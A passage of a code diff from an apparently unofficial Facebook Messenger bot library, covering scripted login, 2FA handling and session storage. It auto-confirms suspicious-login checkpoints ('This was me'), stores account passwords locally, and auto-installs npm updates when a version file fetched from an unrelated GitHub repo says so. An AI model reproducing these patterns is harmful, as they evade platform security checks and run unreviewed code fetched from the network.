+ var defaultFuncs = utils.makeDefaults(html, userID, ctx);
460
+
461
+ fs.readdirSync(__dirname + "/src").filter((/** @type {string} */File) => File.endsWith(".js") && !File.includes('Dev_')).map((/** @type {string} */File) => api[File.split('.').slice(0, -1).join('.')] = require('./src/' + File)(defaultFuncs, api, ctx));
462
+
463
+ return {
464
+ ctx,
465
+ defaultFuncs,
466
+ api
467
+ };
468
+ }
469
+
470
+ /!-[ Function makeLogin ]-!/
471
+
472
+ /**
473
+ * @param {{ setCookie: (arg0: any, arg1: string) => void; }} jar
474
+ * @param {any} email
475
+ * @param {any} password
476
+ * @param {{ forceLogin: any; }} loginOptions
477
+ * @param {(err: any, api: any) => any} callback
478
+ * @param {any} prCallback
479
+ */
480
+
481
+ function makeLogin(jar, email, password, loginOptions, callback, prCallback) {
482
+ return function(/** @type {{ body: any; }} */res) {
483
+ var html = res.body,$ = cheerio.load(html),arr = [];
484
+
485
+ $("#login_form input").map((i, v) => arr.push({ val: $(v).val(), name: $(v).attr("name") }));
486
+
487
+ arr = arr.filter(function(v) {
488
+ return v.val && v.val.length;
489
+ });
490
+
491
+ var form = utils.arrToForm(arr);
492
+ form.lsd = utils.getFrom(html, "[\"LSD\",[],{\"token\":\"", "\"}");
493
+ form.lgndim = Buffer.from("{\"w\":1440,\"h\":900,\"aw\":1440,\"ah\":834,\"c\":24}").toString('base64');
494
+ form.email = email;
495
+ form.pass = password;
496
+ form.default_persistent = '0';
497
+ form.locale = 'en_US';
498
+ form.timezone = '240';
499
+ form.lgnjs = ~~(Date.now() / 1000);
500
+
501
+ html.split("\"_js_").slice(1).map((/** @type {any} */val) => {
502
+ jar.setCookie(utils.formatCookie(JSON.parse("[\"" + utils.getFrom(val, "", "]") + "]"), "facebook"),"https://www.facebook.com")
503
+ });
504
+
505
+ logger.Normal(Language.OnLogin);
506
+ return utils
507
+ .post("https://www.facebook.com/login/device-based/regular/login/?login_attempt=1&lwv=110", jar, form, loginOptions)
508
+ .then(utils.saveCookies(jar))
509
+ .then(function(/** @type {{ headers: any; }} */res) {
510
+ var headers = res.headers;
511
+ if (!headers.location) throw { error: Language.InvaildAccount };
512
+
513
+ // This means the account has login approvals turned on.
514
+ if (headers.location.indexOf('https://www.facebook.com/checkpoint/') > -1) {
515
+ logger.Warning(Language.TwoAuth);
516
+ var nextURL = 'https://www.facebook.com/checkpoint/?next=https%3A%2F%2Fwww.facebook.com%2Fhome.php';
517
+
518
+ return utils
519
+ .get(headers.location, jar, null, loginOptions)
520
+ .then(utils.saveCookies(jar))
521
+ .then(async function(/** @type {{ body: any; }} */res) {
522
+ if (!await Database.get('ThroughAcc')) {
523
+ await Database.set('ThroughAcc', email);
524
+ }
525
+ else {
526
+ if (String((await Database.get('ThroughAcc'))).replace(RegExp('"','g'), '') != String(email).replace(RegExp('"','g'), '')) {
527
+ await Database.set('ThroughAcc', email);
528
+ if (await Database.get('Through2Fa')) {
529
+ await Database.delete('Through2Fa');
530
+ }
531
+ }
532
+ }
533
+ var html = res.body,$ = cheerio.load(html), arr = [];
534
+ $("form input").map((i, v) => arr.push({ val: $(v).val(), name: $(v).attr("name") }));
535
+ arr = arr.filter(v => { return v.val && v.val.length });
536
+ var form = utils.arrToForm(arr);
537
+ if (html.indexOf("checkpoint/?next") > -1) {
538
+ setTimeout(() => {
539
+ checkVerified = setInterval((_form) => {}, 5000, {
540
+ fb_dtsg: form.fb_dtsg,
541
+ jazoest: form.jazoest,
542
+ dpr: 1
543
+ });
544
+ }, 2500);
545
+ switch (globalThis.Fca.Require.FastConfig.Login2Fa) {
546
+ case true: {
547
+ try {
548
+ const question = question => {
549
+ const rl = readline.createInterface({
550
+ input: process.stdin,
551
+ output: process.stdout
552
+ });
553
+ return new Promise(resolve => {
554
+ rl.question(question, answer => {
555
+ rl.close();
556
+ return resolve(answer);
557
+ });
558
+ });
559
+ };
560
+ async function EnterSecurityCode() {
561
+ try {
562
+ var Through2Fa = await Database.get('Through2Fa');
563
+ if (Through2Fa) {
564
+ Through2Fa.map(function(/** @type {{ key: string; value: string; expires: string; domain: string; path: string; }} */c) {
565
+ let str = c.key + "=" + c.value + "; expires=" + c.expires + "; domain=" + c.domain + "; path=" + c.path + ";";
566
+ jar.setCookie(str, "http://" + c.domain);
567
+ })
568
+ var from2 = utils.arrToForm(arr);
569
+ from2.lsd = utils.getFrom(html, "[\"LSD\",[],{\"token\":\"", "\"}");
570
+ from2.lgndim = Buffer.from("{\"w\":1440,\"h\":900,\"aw\":1440,\"ah\":834,\"c\":24}").toString('base64');
571
+ from2.email = email;
572
+ from2.pass = password;
573
+ from2.default_persistent = '0';
574
+ from2.locale = 'en_US';
575
+ from2.timezone = '240';
576
+ from2.lgnjs = ~~(Date.now() / 1000);
577
+ return utils
578
+ .post("https://www.facebook.com/login/device-based/regular/login/?login_attempt=1&lwv=110", jar, from2, loginOptions)
579
+ .then(utils.saveCookies(jar))
580
+ .then(function(/** @type {{ headers: any; }} */res) {
581
+ var headers = res.headers;
582
+ if (!headers['set-cookie'][0].includes('deleted')) {
583
+ logger.Warning(Language.ErrThroughCookies, async function() {
584
+ await Database.delete('Through2Fa');
585
+ });
586
+ process.exit(1);
587
+ }
588
+ if (headers.location && headers.location.indexOf('https://www.facebook.com/checkpoint/') > -1) {
589
+ return utils
590
+ .get(headers.location, jar, null, loginOptions)
591
+ .then(utils.saveCookies(jar))
592
+ .then(function(/** @type {{ body: any; }} */res) {
593
+ var html = res.body,$ = cheerio.load(html), arr = [];
594
+ $("form input").map((i, v) => arr.push({ val: $(v).val(), name: $(v).attr("name") }));
595
+ arr = arr.filter(v => { return v.val && v.val.length });
596
+ var from2 = utils.arrToForm(arr);
597
+
598
+ if (html.indexOf("checkpoint/?next") > -1) {
599
+ setTimeout(() => {
600
+ checkVerified = setInterval((_form) => {}, 5000, {
601
+ fb_dtsg: from2.fb_dtsg,
602
+ jazoest: from2.jazoest,
603
+ dpr: 1
604
+ });
605
+ }, 2500);
606
+ if (!res.headers.location && res.headers['set-cookie'][0].includes('checkpoint')) {
607
+ try {
608
+ delete from2.name_action_selected;
609
+ from2['submit[Continue]'] = $("#checkpointSubmitButton").html();
610
+ return utils
611
+ .post(nextURL, jar, from2, loginOptions)
612
+ .then(utils.saveCookies(jar))
613
+ .then(function() {
614
+ from2['submit[This was me]'] = "This was me";
615
+ return utils.post(nextURL, jar, from2, loginOptions).then(utils.saveCookies(jar));
616
+ })
617
+ .then(function() {
618
+ delete from2['submit[This was me]'];
619
+ from2.name_action_selected = 'save_device';
620
+ from2['submit[Continue]'] = $("#checkpointSubmitButton").html();
621
+ return utils.post(nextURL, jar, from2, loginOptions).then(utils.saveCookies(jar));
622
+ })
623
+ .then(async function(/** @type {{ headers: any; body: string | string[]; }} */res) {
624
+ var headers = res.headers;
625
+ if (!headers.location && res.headers['set-cookie'][0].includes('checkpoint')) throw { error: "wtf ??:D" };
626
+ var appState = utils.getAppState(jar,false);
627
+ await Database.set('Through2Fa', appState);
628
+ return loginHelper(appState, email, password, loginOptions, callback);
629
+ })
630
+ .catch((/** @type {any} */e) => callback(e));
631
+ }
632
+ catch (e) {
633
+ console.log(e)
634
+ }
635
+ }
636
+ }
637
+ })
638
+ }
639
+ return utils.get('https://www.facebook.com/', jar, null, loginOptions).then(utils.saveCookies(jar));
640
+ }).catch((/** @type {any} */e) => console.log(e));
641
+ }
642
+ }
643
+ catch (e) {
644
+ await Database.delete('Through2Fa');
645
+ }
646
+ var code = await question(Language.EnterSecurityCode);
647
+ try {
648
+ form.approvals_code = code;
649
+ form['submit[Continue]'] = $("#checkpointSubmitButton").html();
650
+ var prResolve,prReject;
651
+ var rtPromise = new Promise((resolve, reject) => { prResolve = resolve; prReject = reject; });
652
+ if (typeof code == "string") { //always strings
653
+ utils
654
+ .post(nextURL, jar, form, loginOptions)
655
+ .then(utils.saveCookies(jar))
656
+ .then(function(/** @type {{ body: string | Buffer; }} */res) {
657
+ var $ = cheerio.load(res.body);
658
+ var error = $("#approvals_code").parent().attr("data-xui-error");
659
+ if (error) {
660
+ logger.Warning(Language.InvaildTwoAuthCode,function() { EnterSecurityCode(); }); //bruh loop
661
+ };
662
+ })
663
+ .then(function() {
664
+ delete form.no_fido;delete form.approvals_code;
665
+ form.name_action_selected = 'save_device'; //'save_device' || 'dont_save;
666
+ return utils.post(nextURL, jar, form, loginOptions).then(utils.saveCookies(jar));
667
+ })
668
+ .then(async function(/** @type {{ headers: any; body: string | string[]; }} */res) {
669
+ var headers = res.headers;
670
+ if (!headers.location && res.headers['set-cookie'][0].includes('checkpoint')) {
671
+ try {
672
+ delete form.name_action_selected;
673
+ form['submit[Continue]'] = $("#checkpointSubmitButton").html();
674
+ return utils
675
+ .post(nextURL, jar, form, loginOptions)
676
+ .then(utils.saveCookies(jar))
677
+ .then(function() {
678
+ form['submit[This was me]'] = "This was me";
679
+ return utils.post(nextURL, jar, form, loginOptions).then(utils.saveCookies(jar));
680
+ })
681
+ .then(function() {
682
+ delete form['submit[This was me]'];
683
+ form.name_action_selected = 'save_device';
684
+ form['submit[Continue]'] = $("#checkpointSubmitButton").html();
685
+ return utils.post(nextURL, jar, form, loginOptions).then(utils.saveCookies(jar));
686
+ })
687
+ .then(async function(/** @type {{ headers: any; body: string | string[]; }} */res) {
688
+ var headers = res.headers;
689
+ if (!headers.location && res.headers['set-cookie'][0].includes('checkpoint')) throw { error: "wtf ??:D" };
690
+ var appState = utils.getAppState(jar,false);
691
+ await Database.set('Through2Fa', appState);
692
+ return loginHelper(appState, email, password, loginOptions, callback);
693
+ })
694
+ .catch((/** @type {any} */e) => callback(e));
695
+ }
696
+ catch (e) {
697
+ console.log(e)
698
+ }
699
+ }
700
+ var appState = utils.getAppState(jar,false);
701
+ if (callback === prCallback) {
702
+ callback = function(/** @type {any} */err, /** @type {any} */api) {
703
+ if (err) return prReject(err);
704
+ return prResolve(api);
705
+ };
706
+ }
707
+ await Database.set('Through2Fa', appState);
708
+ return loginHelper(appState, email, password, loginOptions, callback);
709
+ })
710
+ .catch(function(/** @type {any} */err) {
711
+ if (callback === prCallback) prReject(err);
712
+ else callback(err);
713
+ });
714
+ } else {
715
+ utils
716
+ .post("https://www.facebook.com/checkpoint/?next=https%3A%2F%2Fwww.facebook.com%2Fhome.php", jar, form, loginOptions, null, { "Referer": "https://www.facebook.com/checkpoint/?next" })
717
+ .then(utils.saveCookies(jar))
718
+ .then(async function(/** @type {{ body: string; }} */res) {
719
+ try {
720
+ JSON.parse(res.body.replace(/for\s*\(\s*;\s*;\s*\)\s*;\s*/, ""));
721
+ } catch (ex) {
722
+ clearInterval(checkVerified);
723
+ logger.Warning(Language.VerifiedCheck);
724
+ if (callback === prCallback) {
725
+ callback = function(/** @type {any} */err, /** @type {any} */api) {
726
+ if (err) return prReject(err);
727
+ return prResolve(api);
728
+ };
729
+ }
730
+ let appState = utils.getAppState(jar,false);
731
+ return loginHelper(appState, email, password, loginOptions, callback);
732
+ }
733
+ })
734
+ .catch((/** @type {any} */ex) => {
735
+ log.error("login", ex);
736
+ if (callback === prCallback) prReject(ex);
737
+ else callback(ex);
738
+ });
739
+ }
740
+ return rtPromise;
741
+ }
742
+ catch (e) {
743
+ logger.Error(e)
744
+ logger.Error()
745
+ process.exit(0)
746
+ }
747
+ }
748
+ await EnterSecurityCode()
749
+ }
750
+ catch (e) {
751
+ logger.Error(e)
752
+ logger.Error();
753
+ process.exit(0);
754
+ }
755
+ }
756
+ break;
757
+ case false: {
758
+ throw {
759
+ error: 'login-approval',
760
+ continue: function submit2FA(/** @type {any} */code) {
761
+ form.approvals_code = code;
762
+ form['submit[Continue]'] = $("#checkpointSubmitButton").html(); //'Continue';
763
+ var prResolve,prReject;
764
+ var rtPromise = new Promise((resolve, reject) => { prResolve = resolve; prReject = reject; });
765
+ if (typeof code == "string") {
766
+ utils
767
+ .post(nextURL, jar, form, loginOptions)
768
+ .then(utils.saveCookies(jar))
769
+ .then(function(/** @type {{ body: string | Buffer; }} */res) {
770
+ var $ = cheerio.load(res.body);
771
+ var error = $("#approvals_code").parent().attr("data-xui-error");
772
+ if (error) {
773
+ throw {
774
+ error: 'login-approval',
775
+ errordesc: Language.InvaildTwoAuthCode,
776
+ lerror: error,
777
+ continue: submit2FA
778
+ };
779
+ }
780
+ })
781
+ .then(function() {
782
+ delete form.no_fido;delete form.approvals_code;
783
+ form.name_action_selected = 'dont_save'; //'save_device' || 'dont_save;
784
+ return utils.post(nextURL, jar, form, loginOptions).then(utils.saveCookies(jar));
785
+ })
786
+ .then(function(/** @type {{ headers: any; body: string | string[]; }} */res) {
787
+ var headers = res.headers;
788
+ if (!headers.location && res.headers['set-cookie'][0].includes('checkpoint')) throw { error: Language.ApprovalsErr };
789
+ var appState = utils.getAppState(jar,false);
790
+ if (callback === prCallback) {
791
+ callback = function(/** @type {any} */err, /** @type {any} */api) {
792
+ if (err) return prReject(err);
793
+ return prResolve(api);
794
+ };
795
+ }
796
+ return loginHelper(appState, email, password, loginOptions, callback);
797
+ })
798
+ .catch(function(/** @type {any} */err) {
799
+ if (callback === prCallback) prReject(err);
800
+ else callback(err);
801
+ });
802
+ } else {
803
+ utils
804
+ .post("https://www.facebook.com/checkpoint/?next=https%3A%2F%2Fwww.facebook.com%2Fhome.php", jar, form, loginOptions, null, { "Referer": "https://www.facebook.com/checkpoint/?next" })
805
+ .then(utils.saveCookies(jar))
806
+ .then((/** @type {{ body: string; }} */res) => {
807
+ try {
808
+ JSON.parse(res.body.replace(/for\s*\(\s*;\s*;\s*\)\s*;\s*/, ""));
809
+ } catch (ex) {
810
+ clearInterval(checkVerified);
811
+ logger.Warning(Language.VerifiedCheck);
812
+ if (callback === prCallback) {
813
+ callback = function(/** @type {any} */err, /** @type {any} */api) {
814
+ if (err) return prReject(err);
815
+ return prResolve(api);
816
+ };
817
+ }
818
+ return loginHelper(utils.getAppState(jar,false), email, password, loginOptions, callback);
819
+ }
820
+ })
821
+ .catch((/** @type {any} */ex) => {
822
+ log.error("login", ex);
823
+ if (callback === prCallback) prReject(ex);
824
+ else callback(ex);
825
+ });
826
+ }
827
+ return rtPromise;
828
+ }
829
+ };
830
+ }
831
+ }
832
+ } else {
833
+ if (!loginOptions.forceLogin) throw { error: Language.ForceLoginNotEnable };
834
+
835
+ if (html.indexOf("Suspicious Login Attempt") > -1) form['submit[This was me]'] = "This was me";
836
+ else form['submit[This Is Okay]'] = "This Is Okay";
837
+
838
+ return utils
839
+ .post(nextURL, jar, form, loginOptions)
840
+ .then(utils.saveCookies(jar))
841
+ .then(function() {
842
+ form.name_action_selected = 'dont_save';
843
+
844
+ return utils.post(nextURL, jar, form, loginOptions).then(utils.saveCookies(jar));
845
+ })
846
+ .then(function(/** @type {{ headers: any; body: string | string[]; }} */res) {
847
+ var headers = res.headers;
848
+
849
+ if (!headers.location && res.body.indexOf('Review Recent Login') > -1) throw { error: "Something went wrong with review recent login." };
850
+
851
+ var appState = utils.getAppState(jar,false);
852
+
853
+ return loginHelper(appState, email, password, loginOptions, callback);
854
+ })
855
+ .catch((/** @type {any} */e) => callback(e));
856
+ }
857
+ });
858
+ }
859
+ return utils.get('https://www.facebook.com/', jar, null, loginOptions).then(utils.saveCookies(jar));
860
+ });
861
+ };
862
+ }
863
+
864
+ /!-[ Function backup ]-!/
865
+
866
+ /**
867
+ * @param {string} data
868
+ * @param {any} globalOptions
869
+ * @param {any} callback
870
+ * @param {any} prCallback
871
+ */
872
+
873
+ function backup(data,globalOptions, callback, prCallback) {
874
+ try {
875
+ var appstate;
876
+ try {
877
+ appstate = JSON.parse(data)
878
+ }
879
+ catch(e) {
880
+ appstate = data;
881
+ }
882
+ logger.Warning(Language.BackupNoti);
883
+ try {
884
+ loginHelper(appstate,null,null,globalOptions, callback, prCallback)
885
+ }
886
+ catch (e) {
887
+ logger.Error(Language.ErrBackup);
888
+ process.exit(0);
889
+ }
890
+ }
891
+ catch (e) {
892
+ return logger.Error();
893
+ }
894
+ }
895
+
896
+ /!-[ async function loginHelper ]-!/
897
+
898
+ /**
899
+ * @param {string | any[]} appState
900
+ * @param {any} email
901
+ * @param {any} password
902
+ * @param {{ selfListen?: boolean; listenEvents?: boolean; listenTyping?: boolean; updatePresence?: boolean; forceLogin?: boolean; autoMarkDelivery?: boolean; autoMarkRead?: boolean; autoReconnect?: boolean; logRecordSize?: number; online?: boolean; emitReady?: boolean; userAgent?: string; pageID?: any; }} globalOptions
903
+ * @param {(arg0: any, arg1: undefined) => void} callback
904
+ * @param {(error: any, api: any) => any} [prCallback]
905
+ */
906
+
907
+ async function loginHelper(appState, email, password, globalOptions, callback, prCallback) {
908
+ var mainPromise = null;
909
+ var jar = utils.getJar();
910
+
911
+ if (fs.existsSync('./backupappstate.json')) {
912
+ fs.unlinkSync('./backupappstate.json');
913
+ }
914
+
915
+ try {
916
+ if (appState) {
917
+ logger.Normal(Language.OnProcess);
918
+ switch (await Database.has("FBKEY")) {
919
+ case true: {
920
+ process.env.FBKEY = await Database.get("FBKEY");
921
+ }
922
+ break;
923
+ case false: {
924
+ const SecurityKey = globalThis.Fca.Require.Security.create().apiKey;
925
+ process.env['FBKEY'] = SecurityKey;
926
+ await Database.set('FBKEY', SecurityKey);
927
+ }
928
+ break;
929
+ default: {
930
+ const SecurityKey = globalThis.Fca.Require.Security.create().apiKey;
931
+ process.env['FBKEY'] = SecurityKey;
932
+ await Database.set('FBKEY', SecurityKey);
933
+ }
934
+ }
935
+ try {
936
+ switch (globalThis.Fca.Require.FastConfig.EncryptFeature) {
937
+ case true: {
938
+ appState = JSON.parse(JSON.stringify(appState, null, "\t"));
939
+ switch (utils.getType(appState)) {
940
+ case "Array": {
941
+ switch (utils.getType(appState[0])) {
942
+ case "Object": {
943
+ logger.Normal(Language.NotReadyToDecrypt);
944
+ }
945
+ break;
946
+ case "String": {
947
+ appState = Security(appState,process.env['FBKEY'],'Decrypt');
948
+ logger.Normal(Language.DecryptSuccess);
949
+ }
950
+ }
951
+ }
952
+ break;
953
+ case "Object": {
954
+ try {
955
+ appState = StateCrypt.decryptState(appState, process.env['FBKEY']);
956
+ logger.Normal(Language.DecryptSuccess);
957
+ }
958
+ catch (e) {
959
+ if (process.env.Backup != undefined && process.env.Backup) {
960
+ await backup(process.env.Backup,globalOptions, callback, prCallback);
961
+ }
962
+ else {
963
+ try {
964
+ if (await Database.has('Backup')) {
965
+ return await backup(await Database.get('Backup'),globalOptions, callback, prCallback);
966
+ }
967
+ else {
968
+ logger.Normal(Language.ErrBackup);
969
+ process.exit(0);
970
+ }
971
+ }
972
+ catch (e) {
973
+ logger.Warning(Language.ErrBackup);
974
+ logger.Error();
975
+ process.exit(0);
976
+ }
977
+ }
978
+ logger.Warning(Language.DecryptFailed);
979
+ return logger.Error();
980
+ }
981
+ }
982
+ break;
983
+ case "String": {
984
+ try {
985
+ appState = StateCrypt.decryptState(appState, process.env['FBKEY']);
986
+ logger.Normal(Language.DecryptSuccess);
987
+ }
988
+ catch (e) {
989
+ if (process.env.Backup != undefined && process.env.Backup) {
990
+ await backup(process.env.Backup,globalOptions, callback, prCallback);
991
+ }
992
+ else {
993
+ try {
994
+ if (await Database.has('Backup')) {
995
+ return await backup(await Database.get('Backup'),globalOptions, callback, prCallback);
996
+ }
997
+ else {
998
+ logger.Normal(Language.ErrBackup);
999
+ process.exit(0);
1000
+ }
1001
+ }
1002
+ catch (e) {
1003
+ logger.Warning(Language.ErrBackup);
1004
+ logger.Error();
1005
+ process.exit(0);
1006
+ }
1007
+ }
1008
+ logger.Warning(Language.DecryptFailed);
1009
+ return logger.Error();
1010
+ }
1011
+ }
1012
+ break;
1013
+ default: {
1014
+ logger.Warning(Language.InvaildAppState);
1015
+ process.exit(0)
1016
+ }
1017
+ }
1018
+ }
1019
+ break;
1020
+ case false: {
1021
+ switch (utils.getType(appState)) {
1022
+ case "Array": {
1023
+ logger.Normal(Language.EncryptStateOff);
1024
+ }
1025
+ break;
1026
+ case "Object": {
1027
+ logger.Normal(Language.EncryptStateOff);
1028
+ try {
1029
+ appState = StateCrypt.decryptState(appState, process.env['FBKEY']);
1030
+ logger.Normal(Language.DecryptSuccess);
1031
+ }
1032
+ catch (e) {
1033
+ if (process.env.Backup != undefined && process.env.Backup) {
1034
+ await backup(process.env.Backup,globalOptions, callback, prCallback);
1035
+ }
1036
+ else {
1037
+ try {
1038
+ if (await Database.has('Backup')) {
1039
+ return await backup(await Database.get('Backup'),globalOptions, callback, prCallback);
1040
+ }
1041
+ else {
1042
+ logger.Warning(Language.ErrBackup);
1043
+ process.exit(0);
1044
+ }
1045
+ }
1046
+ catch (e) {
1047
+ logger.Warning(Language.ErrBackup);
1048
+ logger.Error();
1049
+ process.exit(0);
1050
+ }
1051
+ }
1052
+ logger.Warning(Language.DecryptFailed);
1053
+ return logger.Error();
1054
+ }
1055
+ }
1056
+ break;
1057
+ default: {
1058
+ logger.Warning(Language.InvaildAppState);
1059
+ process.exit(0)
1060
+ }
1061
+ }
1062
+ }
1063
+ break;
1064
+ default: {
1065
+ logger.Warning(getText(Language.IsNotABoolean,globalThis.Fca.Require.FastConfig.EncryptFeature))
1066
+ process.exit(0);
1067
+ }
1068
+ }
1069
+ }
1070
+ catch (e) {
1071
+ console.log(e);
1072
+ }
1073
+
1074
+ try {
1075
+ appState = JSON.parse(appState);
1076
+ }
1077
+ catch (e) {
1078
+ try {
1079
+ appState = appState;
1080
+ }
1081
+ catch (e) {
1082
+ return logger.Error();
1083
+ }
1084
+ }
1085
+ try {
1086
+ globalThis.Fca.Data.AppState = appState;
1087
+ appState.map(function(/** @type {{ key: string; value: string; expires: string; domain: string; path: string; }} */c) {
1088
+ var str = c.key + "=" + c.value + "; expires=" + c.expires + "; domain=" + c.domain + "; path=" + c.path + ";";
1089
+ jar.setCookie(str, "http://" + c.domain);
1090
+ });
1091
+ process.env.Backup = appState;
1092
+ await Database.set('Backup', appState);
1093
+ mainPromise = utils.get('https://www.facebook.com/', jar, null, globalOptions, { noRef: true }).then(utils.saveCookies(jar));
1094
+ } catch (e) {
1095
+ if (process.env.Backup != undefined && process.env.Backup) {
1096
+ return await backup(process.env.Backup,globalOptions, callback, prCallback);
1097
+ }
1098
+ try {
1099
+ if (await Database.has('Backup')) {
1100
+ return await backup(await Database.get('Backup'),globalOptions, callback, prCallback);
1101
+ }
1102
+ else {
1103
+ logger.Warning(Language.ErrBackup);
1104
+ process.exit(0);
1105
+ }
1106
+ }
1107
+ catch (e) {
1108
+ logger.Warning(Language.ErrBackup);
1109
+ logger.Error();
1110
+ process.exit(0);
1111
+ }
1112
+ return logger.Warning(Language.ErrBackup); // unreachable 👑
1113
+ }
1114
+ } else {
1115
+ mainPromise = utils
1116
+ .get("https://www.facebook.com/", null, null, globalOptions, { noRef: true })
1117
+ .then(utils.saveCookies(jar))
1118
+ .then(makeLogin(jar, email, password, globalOptions, callback, prCallback))
1119
+ .then(function() {
1120
+ return utils.get('https://www.facebook.com/', jar, null, globalOptions).then(utils.saveCookies(jar));
1121
+ });
1122
+ }
1123
+ } catch (e) {
1124
+ console.log(e);
1125
+ }
1126
+ var ctx,api;
1127
+ mainPromise = mainPromise
1128
+ .then(function(/** @type {{ body: string; }} */res) {
1129
+ var reg = /<meta http-equiv="refresh" content="0;url=([^"]+)[^>]+>/,redirect = reg.exec(res.body);
1130
+ if (redirect && redirect[1]) return utils.get(redirect[1], jar, null, globalOptions).then(utils.saveCookies(jar));
1131
+ return res;
1132
+ })
1133
+ .then(function(/** @type {{ body: any; }} */res) {
1134
+ var html = res.body,Obj = buildAPI(globalOptions, html, jar);
1135
+ ctx = Obj.ctx;
1136
+ api = Obj.api;
1137
+ process.env.api = Obj.api;
1138
+ return res;
1139
+ });
1140
+ if (globalOptions.pageID) {
1141
+ mainPromise = mainPromise
1142
+ .then(function() {
1143
+ return utils.get('https://www.facebook.com/' + ctx.globalOptions.pageID + '/messages/?section=messages&subsection=inbox', ctx.jar, null, globalOptions);
1144
+ })
1145
+ .then(function(/** @type {{ body: any; }} */resData) {
1146
+ var url = utils.getFrom(resData.body, 'window.location.replace("https:\\/\\/www.facebook.com\\', '");').split('\\').join('');
1147
+ url = url.substring(0, url.length - 1);
1148
+ return utils.get('https://www.facebook.com' + url, ctx.jar, null, globalOptions);
1149
+ });
1150
+ }
1151
+ mainPromise
1152
+ .then(function() {
1153
+ var { readFileSync } = require('fs-extra');
1154
+ const { execSync } = require('child_process');
1155
+ Fetch('https://raw.githubusercontent.com/n3h9/n3ha/main/package.json').then(async (/** @type {{ body: { toString: () => string; }; }} */res) => {
1156
+ const localVersion = JSON.parse(readFileSync('./node_modules/fca-candy-darkster/package.json')).version;
1157
+ if (Number(localVersion.replace(/\./g,"")) < Number(JSON.parse(res.body.toString()).version.replace(/\./g,"")) ) {
1158
+ log.warn("[ FCA-CANDY ] •",getText(Language.NewVersionFound,JSON.parse(readFileSync('./node_modules/fca-candy-darkster/package.json')).version,JSON.parse(res.body.toString()).version));
1159
+ if (globalThis.Fca.Require.FastConfig.AutoUpdate == true) {
1160
+ log.warn("[ FCA-CANDY ] •",Language.AutoUpdate);
1161
+ try {
1162
+ execSync('npm install fca-candy-darkster@latest', { stdio: 'inherit' });
1163
+ logger.Success(Language.UpdateSuccess)
1164
+ logger.Normal(Language.RestartAfterUpdate);
1165
+ await new Promise(resolve => setTimeout(resolve,5*1000));
1166
+ console.clear();process.exit(1);
1167
+ }
1168
+ catch (err) {
1169
+ log.warn('Error Update: ' + err);
1170
+ logger.Normal(Language.UpdateFailed);
1171
+ try {
1172
+ require.resolve('aliya-remake');
1173
+ }
1174
+ catch (e) {
1175
+ logger.Normal(Language.InstallSupportTool);
1176
+ execSync('npm install fca-candy-darkster@latest', { stdio: 'inherit' });
1177
+ process.exit(1);
1178
+ }
1179
+ var fcasp = require('aliya-remake');
1180
+ try {
1181
+ fcasp.onError()
1182
+ }
1183
+ catch (e) {
1184
+ logger.Normal(Language.NotiAfterUseToolFail, "[ Fca - Helper ]")
1185
+ logger.Normal("rmdir ./node_modules after type npm i && npm start","[ Fca - Helper ]");
1186
+ process.exit(0);
1187
+ }
1188
+ }
1189
+ }
1190
+ }
1191
+ else {
1192
+ logger.Normal(getText(Language.LocalVersion,localVersion));
1193
+ logger.Normal(getText(Language.CountTime,globalThis.Fca.Data.CountTime()))
1194
+ logger.Normal(Language.WishMessage[Math.floor(Math.random()*Language.WishMessage.length)]);
1195
+ require('./Extra/ExtraUptimeRobot')(),require('./Controllers/Remote');
1196
+ DataLanguageSetting.HTML.HTML==true? globalThis.Fca.Require.Web.listen(globalThis.Fca.Require.Web.get('DFP')) : globalThis.Fca.Require.Web = null;
1197
+ callback(null, api);
1198
+ }
1199
+ });
1200
+ }).catch(function(/** @type {{ error: any; }} */e) {
1201
+ log.error("login", e.error || e);
1202
+ callback(e);
1203
+ });
1204
+ }
1205
+
1206
+ /**
1207
+ * It asks the user for their account and password, and then saves it to the database.
1208
+ */
1209
+
1210
+ function setUserNameAndPassWord() {
1211
+ let rl = readline.createInterface({
1212
+ input: process.stdin,
1213
+ output: process.stdout
1214
+ });
1215
+ let localbrand2 = JSON.parse(readFileSync('./node_modules/fca-candy-darkster/package.json')).version;
1216
+ console.clear();
1217
+ console.log(figlet.textSync('Horizon', {font: 'ANSI Shadow',horizontalLayout: 'default',verticalLayout: 'default',width: 0,whitespaceBreak: true }));
1218
+ console.log(chalk.bold.hex('#9900FF')("[</>]") + chalk.bold.yellow(' => ') + "Operating System: " + chalk.bold.red(os.type()));
1219
+ console.log(chalk.bold.hex('#9900FF')("[</>]") + chalk.bold.yellow(' => ') + "Machine Version: " + chalk.bold.red(os.version()));
1220
+ console.log(chalk.bold.hex('#9900FF')("[</>]") + chalk.bold.yellow(' => ') + "Fca Version: " + chalk.bold.red(localbrand2) + '\n');
1221
+ try {
1222
+ rl.question(Language.TypeAccount, (Account) => {
1223
+ if (!Account.includes("@") && globalThis.Fca.Require.utils.getType(parseInt(Account)) != "Number") return logger.Normal(Language.TypeAccountError, function () { process.exit(1) }); //Very Human
1224
+ else rl.question(Language.TypePassword,async function (Password) {
1225
+ rl.close();
1226
+ try {
1227
+ await Database.set("Account", Account);
1228
+ await Database.set("Password", Password);
1229
+ }
1230
+ catch (e) {
1231
+ logger.Warning(Language.ErrDataBase);
1232
+ logger.Error();
1233
+ process.exit(0);
1234
+ }
1235
+ if (globalThis.Fca.Require.FastConfig.ResetDataLogin) {
1236
+ globalThis.Fca.Require.FastConfig.ResetDataLogin = false;
1237
+ globalThis.Fca.Require.fs.writeFileSync('./CANDY-X-MARVI.json', JSON.stringify(globalThis.Fca.Require.FastConfig, null, 4));
1238
+ }
1239
+ logger.Success(Language.SuccessSetData);
1240
+ process.exit(1);
1241
+ });
1242
+ })
1243
+ }
1244
+ catch (e) {
1245
+ logger.Error(e)
1246
+ }
1247
+ }
1248
+
1249
+ /**
1250
+ * @param {{ email: any; password: any; appState: any; }} loginData
1251
+ * @param {{}} options
1252
+ * @param {(error: any, api: any) => any} callback
1253
+ */
1254
+
1255
+ function login(loginData, options, callback) {
1256
+ if (utils.getType(options) === 'Function' || utils.getType(options) === 'AsyncFunction') {
1257
+ callback = options;
1258
+ options = {};
1259
+ }
1260
+
1261
+ var globalOptions = {
1262
+ selfListen: false,
1263
+ listenEvents: true,
1264
+ listenTyping: false,
1265
+ updatePresence: false,
1266
+ forceLogin: false,
1267
+ autoMarkDelivery: false,
1268
+ autoMarkRead: false,
1269
+ autoReconnect: true,
1270
+ logRecordSize: 100,
1271
+ online: false,
1272
+ emitReady: false,
1273
